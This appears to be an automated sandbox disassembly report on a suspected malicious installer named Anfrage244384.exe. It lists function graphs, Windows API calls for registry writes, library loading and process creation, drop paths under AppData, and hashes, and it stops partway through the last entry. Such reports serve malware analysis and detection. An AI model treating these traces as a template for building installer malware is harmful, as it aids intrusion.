                                                        Function 004060EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 961 4060ee-40610e GetSystemDirectoryA 962 406110 961->962 963 406112-406114 961->963 962->963 964 406124-406126 963->964 965 406116-40611e 963->965 967 406127-406159 wsprintfA LoadLibraryExA 964->967 965->964 966 406120-406122 965->966 966->967
                                                        APIs
                                                        • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                        • wsprintfA.USER32 ref: 0040613E
                                                        • LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DirectoryLibraryLoadSystemwsprintf
                                                        • String ID: %s%s.dll$UXTHEME$\
                                                        • API String ID: 2200240437-4240819195
                                                        • Opcode ID: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                        • Instruction ID: f3b8c8f840e4a68c7bce26bfc9f978bd3a53690dd24d0c1e4954f7cf1b20607f
                                                        • Opcode Fuzzy Hash: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                        • Instruction Fuzzy Hash: BEF0217054020AA7DB149B64DD0DFFB379CBB08305F14047AA587F50C2D5B8D5358B58
                                                        Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73registrystringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1002 4023d3-402419 call 402bc3 call 402ace * 2 RegCreateKeyExA 1009 40295e-40296d 1002->1009 1010 40241f-402427 1002->1010 1012 402437-40243a 1010->1012 1013 402429-402436 call 402ace lstrlenA 1010->1013 1014 40243c-40244d call 402aac 1012->1014 1015 40244e-402451 1012->1015 1013->1012 1014->1015 1019 402462-402476 RegSetValueExA 1015->1019 1020 402453-40245d call 402f33 1015->1020 1024 402478 1019->1024 1025 40247b-402555 RegCloseKey 1019->1025 1020->1019 1024->1025 1025->1009 1027 402729-402730 1025->1027 1027->1009
                                                        APIs
                                                        • RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
                                                        • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsb8E12.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
                                                        • RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsb8E12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
                                                        • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsb8E12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CloseCreateValuelstrlen
                                                        • String ID: C:\Users\user\AppData\Local\Temp\nsb8E12.tmp
                                                        • API String ID: 1356686001-722190653
                                                        • Opcode ID: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                        • Instruction ID: 78945337bfecb372f974009004526856e4df2419c5d7c36b02de55c30b310c87
                                                        • Opcode Fuzzy Hash: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                        • Instruction Fuzzy Hash: 842162B1E00208BEEB10EFA4DE49EAF7678EB54358F20403AF545B61D0C6B94D419B68
                                                        Function 00401FFF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73libraryloaderCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 968 401fff-40200b 969 402011-402027 call 402ace * 2 968->969 970 4020c6-4020c8 968->970 981 402036-402044 LoadLibraryExA 969->981 982 402029-402034 GetModuleHandleA 969->982 971 402233-402238 call 401423 970->971 977 402729-402730 971->977 978 40295e-40296d 971->978 977->978 984 402046-402053 GetProcAddress 981->984 985 4020bf-4020c1 981->985 982->981 982->984 986 402092-402097 call 404fdc 984->986 987 402055-40205b 984->987 985->971 992 40209c-40209f 986->992 988 402074-40208b call 100016bd 987->988 989 40205d-402069 call 401423 987->989 994 40208d-402090 988->994 989->992 1000 40206b-402072 989->1000 992->978 995 4020a5-4020ad call 4036e3 992->995 994->992 995->978 999 4020b3-4020ba FreeLibrary 995->999 999->978 1000->992
                                                        APIs
                                                        • GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                          • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,759223A0), ref: 00405038
                                                          • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                        • LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
                                                        • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                        • String ID: Hw[
                                                        • API String ID: 2987980305-487547431
                                                        • Opcode ID: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                        • Instruction ID: b783eae22080e2a76f4456b755c5680fa053b08e058d045f217a77597ec219f0
                                                        • Opcode Fuzzy Hash: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                        • Instruction Fuzzy Hash: 0F21C971A00225E7DB307FA48F49A5E7A746B44354F24413BF701B22D1DBBE4A42D66E
                                                        Function 00405A65 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1028 405a65-405a6f 1029 405a70-405a9b GetTickCount GetTempFileNameA 1028->1029 1030 405aaa-405aac 1029->1030 1031 405a9d-405a9f 1029->1031 1033 405aa4-405aa7 1030->1033 1031->1029 1032 405aa1 1031->1032 1032->1033
                                                        APIs
                                                        • GetTickCount.KERNEL32 ref: 00405A79
                                                        • GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A93
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405A68
                                                        • nsa, xrefs: 00405A70
                                                        • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 00405A65
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CountFileNameTempTick
                                                        • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$C:\Users\user\AppData\Local\Temp\$nsa
                                                        • API String ID: 1716503409-1705450883
                                                        • Opcode ID: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                        • Instruction ID: 72edad6ec601b3e5bedbe0a956b09e0e85e9d1f351c5a8d1d7ddacf5062ef271
                                                        • Opcode Fuzzy Hash: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                        • Instruction Fuzzy Hash: DBF082363046187BDB108F55ED44B9B7B9CDFA1760F10803BFA44DA180D6B599548B58
                                                        Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1034 402b0e-402b37 RegOpenKeyExA 1035 402ba2-402ba6 1034->1035 1036 402b39-402b44 1034->1036 1037 402b5f-402b6f RegEnumKeyA 1036->1037 1038 402b71-402b83 RegCloseKey call 40615c 1037->1038 1039 402b46-402b49 1037->1039 1047 402b85-402b94 1038->1047 1048 402ba9-402baf 1038->1048 1041 402b96-402b99 RegCloseKey 1039->1041 1042 402b4b-402b5d call 402b0e 1039->1042 1045 402b9f-402ba1 1041->1045 1042->1037 1042->1038 1045->1035 1047->1035 1048->1045 1049 402bb1-402bbf RegDeleteKeyA 1048->1049 1049->1045 1051 402bc1 1049->1051 1051->1035
                                                        APIs
                                                        • RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402B2F
                                                        • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
                                                        • RegCloseKey.ADVAPI32(?), ref: 00402B74
                                                        • RegCloseKey.ADVAPI32(?), ref: 00402B99
                                                        • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Close$DeleteEnumOpen
                                                        • String ID:
                                                        • API String ID: 1912718029-0
                                                        • Opcode ID: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                        • Instruction ID: 01bd3f518095735bd7fc58530e3e97865138d1262df332b424d450b53e5153fe
                                                        • Opcode Fuzzy Hash: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                        • Instruction Fuzzy Hash: 83117F31500108FFDF11AF90DE89EAB3B7DFB14345B00403AF905B11A0D7B8AE55AB68
                                                        Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
                                                          • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
                                                          • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001768
                                                        • FreeLibrary.KERNEL32(?), ref: 100017DF
                                                        • GlobalFree.KERNEL32(00000000), ref: 10001804
                                                          • Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2
                                                          • Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB
                                                          • Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$Alloc$Librarylstrcpy
                                                        • String ID:
                                                        • API String ID: 1791698881-3916222277
                                                        • Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                        • Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
                                                        • Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                        • Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60
                                                        Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                        • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D
                                                          • Part of subcall function 004054A2: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                        • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\secretaryships\Khami,00000000,00000000,000000F0), ref: 0040163C
                                                        Strings
                                                        • C:\Users\user\AppData\Roaming\secretaryships\Khami, xrefs: 00401631
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                        • String ID: C:\Users\user\AppData\Roaming\secretaryships\Khami
                                                        • API String ID: 1892508949-1519471096
                                                        • Opcode ID: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                        • Instruction ID: 816b54ed5d655ae39ec9af7653b37b3cb045aad08be9d120fc9ab2aeee17589e
                                                        • Opcode Fuzzy Hash: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                        • Instruction Fuzzy Hash: 4A110431608142EBDB317BB54D409BF2AB0DE96324B28493FE4D1B22E2D63D4942663E
                                                        Function 00404F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsWindowVisible.USER32(?), ref: 00404F7F
                                                        • CallWindowProcA.USER32(?,?,?,?), ref: 00404FD0
                                                          • Part of subcall function 00403FF4: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00404006
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Window$CallMessageProcSendVisible
                                                        • String ID:
                                                        • API String ID: 3748168415-3916222277
                                                        • Opcode ID: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                        • Instruction ID: 957b128ff8c1be49c7c43d2eec533a56ef4d4953328fce41794b465c1d4f4089
                                                        • Opcode Fuzzy Hash: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                        • Instruction Fuzzy Hash: C80184B160020AAFDF20AF51DD80A5B3B66EBC4755F15413BFF00751D1C77D8C62966A
                                                        Function 00405554 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042C070,Error launching installer), ref: 0040557D
                                                        • CloseHandle.KERNEL32(?), ref: 0040558A
                                                        Strings
                                                        • Error launching installer, xrefs: 00405567
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CloseCreateHandleProcess
                                                        • String ID: Error launching installer
                                                        • API String ID: 3712363035-66219284
                                                        • Opcode ID: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                        • Instruction ID: 7a3dc1fb8a2ad91d62cd378edef27adb0088bf0f4d8ddc25e60ef95d811c5913
                                                        • Opcode Fuzzy Hash: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                        • Instruction Fuzzy Hash: 1AE04FB0600209BFEB109FA0ED45F7F77ACE700208F408531BD00F2150D77499088A7C
                                                        Function 004024F5 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        • RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402527
                                                        • RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 0040253A
                                                        • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsb8E12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Enum$CloseOpenValue
                                                        • String ID:
                                                        • API String ID: 167947723-0
                                                        • Opcode ID: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                        • Instruction ID: 2b577d6a6ed12fdd73b92825448b087f6304f6a5da561ecb1c8b28b09130acc9
                                                        • Opcode Fuzzy Hash: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                        • Instruction Fuzzy Hash: EC01DF71A00201EFE7119F65AE88ABF7A7CDF40394F20003FF045A61C0D6B84A459669
                                                        Function 00405CAA Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExA.KERNELBASE(80000002,00405EEF,00000000,00000002,?,00000002,?,?,00405EEF,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CD3
                                                        • RegQueryValueExA.KERNELBASE(?,?,00000000,00405EEF,?,00405EEF), ref: 00405CF4
                                                        • RegCloseKey.ADVAPI32(?), ref: 00405D15
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CloseOpenQueryValue
                                                        • String ID:
                                                        • API String ID: 3677997916-0
                                                        • Opcode ID: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                        • Instruction ID: fa75aaf4fea41e3e7414327fe65dbec21031f90634d69430c1a7616152fbf627
                                                        • Opcode Fuzzy Hash: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                        • Instruction Fuzzy Hash: 35015E7114020AEFDF118F64ED48EDB7FACEF14354F00403AF94596160D235D964CBA5
                                                        Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                        • RegQueryValueExA.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B3
                                                        • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsb8E12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
